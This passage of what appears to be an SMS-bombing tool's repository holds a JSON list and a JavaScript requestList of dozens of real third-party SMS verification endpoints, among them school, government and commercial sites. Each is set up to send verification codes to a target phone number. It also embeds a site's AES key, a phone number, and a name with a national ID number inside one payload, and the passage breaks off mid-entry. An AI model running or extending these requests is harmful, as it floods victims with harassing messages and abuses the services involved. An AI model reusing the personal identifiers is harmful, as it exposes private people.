\"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"苏州高新区教育局\",\n        \"url\": \"https://jssnd.edu.cn/apiu/v1/register/auth\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"专业技术人员继续教育平台\",\n        \"url\": \"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": {}\n    },\n    {\n        \"desc\": \"泰安专技\",\n        \"url\": \"https://sdta-web.yxlearning.com/sendphoneCode.gson\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        }\n    },\n    {\n        \"desc\": \"漏洞银行\",\n        \"url\": \"https://www.bugbank.cn/api/verifymobile\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"中国劳动保障新闻网\",\n        \"url\": \"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"广东省心理学会\",\n        \"url\": \"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"费耘网\",\n        \"url\": \"https://www.feeclouds.com/homepage/register/send\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"mobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"语雀web\",\n        \"url\": \"https://www.yuque.com/api/validation_codes\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"referer\": \"https://www.yuque.com/register\"\n        },\n        \"data\": {\n            \"target\": \"[phone]\",\n            \"action\": \"register\",\n            \"channel\": \"sms\"\n        }\n    },\n    {\n        \"desc\": \"甜糖app\",\n        \"url\": \"http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"网心云APP\",\n        \"url\": \"https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"protocolVersion\": \"301\",\n            \"sequenceNo\": \"1000001\",\n            \"platformVersion\": \"10\",\n            \"isCompressed\": \"0\",\n            \"appid\": \"22017\",\n            \"clientVersion\": \"3.15.1\",\n            \"peerID\": \"00000000000000000000000000000000\",\n            \"appName\": \"ANDROID-com.onethingcloud.android\",\n            \"sdkVersion\": \"204500\",\n            \"devicesign\": \"div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b\",\n            \"netWorkType\": \"WIFI\",\n            \"providerName\": \"NONE\",\n            \"deviceModel\": \"M2102J2SC\",\n            \"deviceName\": \"Xiaomi M2102j2sc\",\n            \"OSVersion\": \"11\",\n            \"creditkey\": \"\",\n            \"hl\": \"zh-CN\",\n            \"mobile\": \"[phone]\",\n            \"register\": \"0\"\n        }\n    },\n    {\n        \"desc\": \"乐教乐学\",\n        \"url\": \"http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"云杏HIS系统(九明珠)\",\n        \"url\": \"http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"{'lxdh': [phone]}\"\n    },\n    {\n        \"desc\": \"秘塔写作\",\n        \"url\": \"https://xiezuocat.com/verify?type=signup\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"86-[phone]\"\n        }\n    },\n    {\n        \"desc\": \"CNMO 网站\",\n        \"url\": \"http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"DR钻戒web\",\n        \"url\": \"https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"有享云商web\",\n        \"url\": \"https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"研才教育app\",\n        \"url\": \"https://mall.yancais.com/api/sms/send?phone=[phone]\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"成卓科技\",\n        \"url\": \"https://callphone.hnczkj.cn/app_api/json/sendSms\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phone\": \"[phone]\",\n            \"product\": \"biyingdianhua_ios\",\n            \"key\": \"mwoe093fwef\"\n        }\n    },\n    {\n        \"desc\": \"加密电话\",\n        \"url\": \"https://m.4009991000.com/valNumQry.action\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"appType\": \"1\",\n            \"app_id\": \"5555\",\n            \"mobileNo\": \"[phone]\",\n            \"sig\": \"16cd52ea74f5ea4a6c2fe80b9a04f8b5\",\n            \"src\": \"1\",\n            \"v\": \"4.9.2\",\n            \"validType\": \"3\"\n        }\n    },\n    {\n        \"desc\": \"快应用美抽\",\n        \"url\": \"http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"小叶子app\",\n        \"url\": \"https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"牙e在线\",\n        \"url\": \"https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02&timestamp=[timestamp]\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"mobile=[phone]&smsType=02&timestamp=[timestamp]\"\n    },\n    {\n        \"desc\": \"某数图表web(存疑)\",\n        \"url\": \"https://dycharts.com/vis/auth/send_signin_sms_code\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": {\n            \"phoneNo\": \"13809213237\"\n        }\n    },\n    {\n        \"desc\": \"17k小说网app\",\n        \"url\": \"http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"汇看点快应用\",\n        \"url\": \"https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG\",\n        \"method\": \"POST\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"核桃编程app\",\n        \"url\": \"https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"永城至敏\",\n        \"url\": \"http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"金中网\",\n        \"url\": \"https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3\",\n        \"method\": \"GET\",\n        \"header\": \"\",\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"透明售房网(可能只能一次第二次会弹验证码)\",\n        \"url\": \"http://www.tmsf.com/mem/WebMemLoginAction_saveMemMobileCodeImg.jspx?usermobile=[phone]&imagecode=\",\n        \"method\": \"GET\",\n        \"header\": {\n            \"Referer\": \"http://www.tmsf.com/esf/esfnSearch_communityListUpgrade.htm\",\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        },\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"巨人网络\",\n        \"url\": \"https://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=https%3A%2F%2Flogin.ztgame.com%2F&cururl=http%3A%2F%2Freg.ztgame.com%2F&phone=[phone]&mpcode=&pwd=&tname=&idcard=\",\n        \"method\": \"GET\",\n        \"header\": {\n            \"Referer\": \"https://reg.ztgame.com/\",\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        },\n        \"data\": \"\"\n    },\n    {\n        \"desc\": \"人人文库\",\n        \"url\": \"https://www.renrendoc.com/Reg.aspx/GetUserSMSCode\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Content-Type\": \"application/json; charset=UTF-8\",\n            \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\",\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        },\n        \"data\": {\n            \"userMobile\": \"[phone]\"\n        }\n    },\n    {\n        \"desc\": \"塞优教育\",\n        \"url\": \"http://www.cuour.org/edu_cloud/sms_send\",\n        \"method\": \"POST\",\n        \"header\": {\n            \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n            \"Cookie\": \"PHPSESSID=20pi9ugtg1tboucsjcc8ute6t9\",\n            \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36\",\n            \"X-CSRF-Token\": \"7--b2sxDUBm-Jd2yf_5KYrf7Hw2w_M6BDhSJq-H2GjY\",\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        },\n        \"data\": {\n            \"to\": \"[phone]\",\n            \"sms_type\": \"sms_registration\"\n        }\n    }\n]\n"
  },
  {
    "path": "debug/__init__.py",
    "content": ""
  },
  {
    "path": "debug/api.js",
    "content": "/**\n * 第三方网站短信接口\n * 最后更新：2022-04-12\n * @type {*[]}\n */\n var requestList = [\n    {\n        name: '工图网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.900ppt.com/api/login/getSmsCode\",\n                data: {\n                    phone: phone,\n                    easy: 1\n                },\n                type: \"GET\",\n                dataType: \"json\",\n            });\n        }\n    },\n    {\n        name: '少儿编程',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode\",\n                type: \"POST\",\n                data: {phone: phone,},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '泰康在线',\n        fn: function (phone) {\n            function encrypt(data) {\n                var key = CryptoJS.enc.Utf8.parse(\"AE74AF98D6BF55BF\");\n                var srcs = CryptoJS.enc.Utf8.parse(data);\n                var encrypted = CryptoJS.AES.encrypt(srcs, key, {\n                    mode: CryptoJS.mode.ECB,\n                    padding: CryptoJS.pad.Pkcs7\n                });\n                return encrypted + \"\";\n            }\n\n            phone = encodeURIComponent(encrypt(phone))\n            $.ajax({\n                'url': 'http://ecs.tk.cn/eservice/member/login',\n                'type': 'POST',\n                'data': 'syn=Y&functioncode=getmark&mobile=' + phone,\n                'dataType': 'json',\n            });\n        }\n    },\n    {\n        name: '千库编辑',\n        fn: function (phone) {\n            $.ajax({\n                url: 'https://editor.588ku.com/site-api/send-tel-login-code',\n                type: 'GET',\n                data: {\n                    num: phone,\n                },\n                async: false\n            });\n        }\n    },\n    {\n        name: \"编程猫\",\n        fn: function (phone) {\n            $.ajax({\n                url: 'https://open-service.codemao.cn/captcha/rule',\n                contentType: \"application/json;charset=UTF-8\",\n                type: 'POST',\n                data: '{\"deviceId\": \"89b5cb3b00a910b2a123d882a6255caf\", \"identity\": \"' + phone + '\", \"pid\": \"4ceH5ekc\", \"timestamp\": 1614589965}',\n                dataType: 'json',\n                success: function (data) {\n                    $.ajax({\n                        url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',\n                        contentType: \"application/json;charset=UTF-8\",\n                        type: 'POST',\n                        data: '{\"app_id\":\"\", \"phone_number\": \"' + phone + '\", \"ticket\": \"' + data.ticket + '\"}',\n                        dataType: 'json',\n                    })\n                }\n            })\n        }\n    },\n    {\n        name: '迪卡侬',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code\",\n                type: \"POST\",\n                data: {\"countryCode\": \"CN\", \"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '股海网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.guhai.com.cn/front/member/sendSmsCode\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'LLL的个人blog',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.lll.plus/sendCode/\",\n                type: \"POST\",\n                data: {\"tel\": phone, \"forgetPwd\": \"\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '企米子',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.xcxui.com/index/register/getcode.html\",\n                type: \"POST\",\n                data: {\"tel\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '蒲公英',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://id.pgyer.com/user/getRegisterCode\",\n                type: \"POST\",\n                data: {\"tel\": phone, \"callingCode\": \"86\", \"mode\": \"tel\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '百卓优采',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://erp.abiz.com/mobilecode/sendMobileCode\",\n                type: \"POST\",\n                data: {\"mobile\": phone, \"captcha\": \"\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '云背篓',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://brand.yunbeilou.com/index.php/smssend\",\n                type: \"POST\",\n                data: {\"phone\": phone, \"v\": \"yes\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'PHP中文网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://m.php.cn/account/phone_code.html\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '12321',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://dhba.12321.cn/api/verifycode\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'Testin众测',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.ztestin.com/users/send/vercode\",\n                type: \"POST\",\n                data: {\"phone\": phone, \"type\": \"register\", \"voice\": \"0\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '海尔',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://maker.haier.net/client/user/sendregistervcode.html\",\n                type: \"POST\",\n                data: {\"account\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '飞猫云',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.feimaoyun.com/index.php/invite/h5sendmsg\",\n                type: \"POST\",\n                data: {\"pcode\": \"+86\", \"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '觉数字化平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://end.huajuetech.com/api/sendCode\",\n                type: \"POST\",\n                data: {\"mobile\": phone, \"email\": \"null\", \"verfy_method\": \"mobile\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '问政江西',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '河南智慧党建',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://api.hndyjyfw.gov.cn/djapi/mobileVerify\",\n                type: \"POST\",\n                data: {\"phone\": phone, \"verifytype\": \"1\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '陆陆陆云安全',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://cloud.666idc.com/index/login/sendsms.html\",\n                type: \"POST\",\n                data: {\"mobile\": phone, \"mobile_pre\": \"86\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '网易',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://dz.blizzard.cn/action/user/mobile/captcha\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '码云社',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.codeseeding.com/loginUser/toSend\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '人才山东',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://sso.rcsd.cn/regist/getVerifyCode\",\n                type: \"POST\",\n                data: {\"personcall\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '水利部',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '七联大学',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode\",\n                type: \"POST\",\n                data: {\"phoneNumber\": phone, \"sendType\": \"0\"}\n            })\n        }\n    },\n    {\n        name: '闪德资讯',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.0101ssd.com/user/sendmsg\",\n                type: \"POST\",\n                data: {\"mobile\": phone, \"event\": \"register\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '江苏省名师空中课堂',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://mskzkt.jse.edu.cn/baseApi/user/code/\",\n                type: \"POST\",\n                data: {\"mobile\": phone, \"type\": \"1\",},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'CSFF短片',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://csff.cutv.com/wapi/users/sendregcode\",\n                type: \"POST\",\n                data: {\"telphone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '广西人社厅',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx\",\n                type: \"POST\",\n                data: {\"aae005\": phone, \"aac003\": \"刘萌萌\", \"aac002\": \"210212198506035924\", \"notkeyflag\": \"1\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '麦克赛尔数字映像',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.maxell-dm.cn/Code/CheckImage.aspx\",\n                type: \"POST\",\n                data: {\"action\": \"send\", \"txtMember_Name\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '宝提分',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '选型系统',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.cnppump.ltd/Service/UserHandler.ashx\",\n                type: \"GET\",\n                data: {\"cmd\": \"GetTelVerifyCode\", \"Tel\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '千里马网信科技',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://vip.qianlima.com/rest/u/api/user/register/mobile/code\",\n                type: \"POST\",\n                data: {\"tips\": \"1\", \"shouji\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '保定云',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://baodingyun.com.cn/register/send_registerSMS.html\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '欢动游戏',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.gm5.com/auth/registerSms.html\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '迈威',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.maiwe.com.cn/index/sendcode.html\",\n                type: \"GET\",\n                data: {\"tel\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '憨鼠社区',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone=\"+phone+\"&areaCode=86\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '天鹅到家',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://user.daojia.com/mobile/getcode?mobile=\"+phone+\"&newVersion=1&bu=112\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '诺达筑工',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://ks.ndzhugong.com/getVerificationCode?phone=\"+phone+\"&password=&smscode=\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '栋才智慧',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone=\"+phone+\"&smsMode=2\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '工伤预防网上培训平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=\"+phone+\"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '济宁专技',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://sdjn-web.yxlearning.com/sendPhoneCode.gson\",\n                type: \"POST\",\n                data: {\"phone\": phone, \"sendType\": \"4\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '宁夏伊地地质工程有限公司',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.yddzgc.com/bid-app/api/sys/code?phone=\"+phone+\"&type=1\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '青春大学说',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://zycp.qcdxs.com:5001/sms/sendsms\",\n                type: \"POST\",\n                data: {\"phone_number\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '兴业利达电子招投标平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://user.daojia.com/mobile/getcode?mobile=\"+phone+\"&newVersion=1&bu=112\",\n                type: \"POST\",\n                data: {\"username\": phone, \"type\": \"regUser\", \"mobile\": \"PC\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '火象',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://v1.alphazone-data.cn/academy/api/v1/sendsms\",\n                type: \"POST\",\n                data: {\"temp\": \"1\", \"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '中科教育',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.vipexam.cn/user/identifyingCode.action\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '聚题库',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://uc.csdhe.com/v1/sms/send?mobile=\"+phone+\"&apptype=examWeb\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '大广节',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://47.103.35.255:510/api/Account/SendRestigerSms\",\n                type: \"POST\",\n                data: {tel: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '选择山东云平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://israel.selectshandong.com/user/verification_code/send.html\",\n                type: \"POST\",\n                data: {mobile: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '苏州高新区教育局',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://jssnd.edu.cn/apiu/v1/register/auth\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '专业技术人员继续教育平台',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=\"+phone+\"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '泰安专技',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://sdta-web.yxlearning.com/sendPhoneCode.gson\",\n                type: \"POST\",\n                data: {\"phone\": phone, \"sendType\": \"4\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '志睿择',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.vipexam.cn/user/identifyingCode.action\",\n                type: \"POST\",\n                data: {\"phone\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '漏洞银行',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.bugbank.cn/api/verifymobile\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '中国劳动保障新闻网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '金万维',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.kuaijiexi.com/sendPhoneMessage\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '广西大数据发展局',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode\",\n                type: \"POST\",\n                data: {\"method\":\"sendMobileCode\",\"userMobile\":phone,\"random\":\"1.2851343744474852\"},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '凤凰金刚网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://api.shweina.com/sms/getCode?type=1&mobile=\"+phone+\"&sms_id=1&_=1649572691296\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'SDTF',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://www.satdatafresh.com/Register_send.php\",\n                type: \"POST\",\n                data: {phone: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'UCG',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://api.ucg.cn/api/account/get_code\",\n                type: \"POST\",\n                data: {phone: phone,type:1},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '爱社区',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel=\"+phone+\"&_=1649576168585\",\n                type: \"GET\",\n                data: {},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '费耘网',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://www.feeclouds.com/homepage/register/send\",\n                type: \"POST\",\n                data: {\"mobile\": phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 'TCTY评测委员会',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://bth.educg.net/new_registration.do\",\n                type: \"POST\",\n                data: {\"op\": \"getvfycode\",phone: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '中电仪器',\n        fn: function (phone) {\n            $.ajax({\n                url: \"https://ceyear.com/Cn/Member/get_code\",\n                type: \"POST\",\n                data: {phone: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: '航运e家',\n        fn: function (phone) {\n            $.ajax({\n                url: \"http://co.hangyunejia.com/v1/account/sendregphonecode\",\n                type: \"POST\",\n                data: {phone: phone},\n                dataType: \"json\",\n            })\n        }\n    },\n    {\n        name: 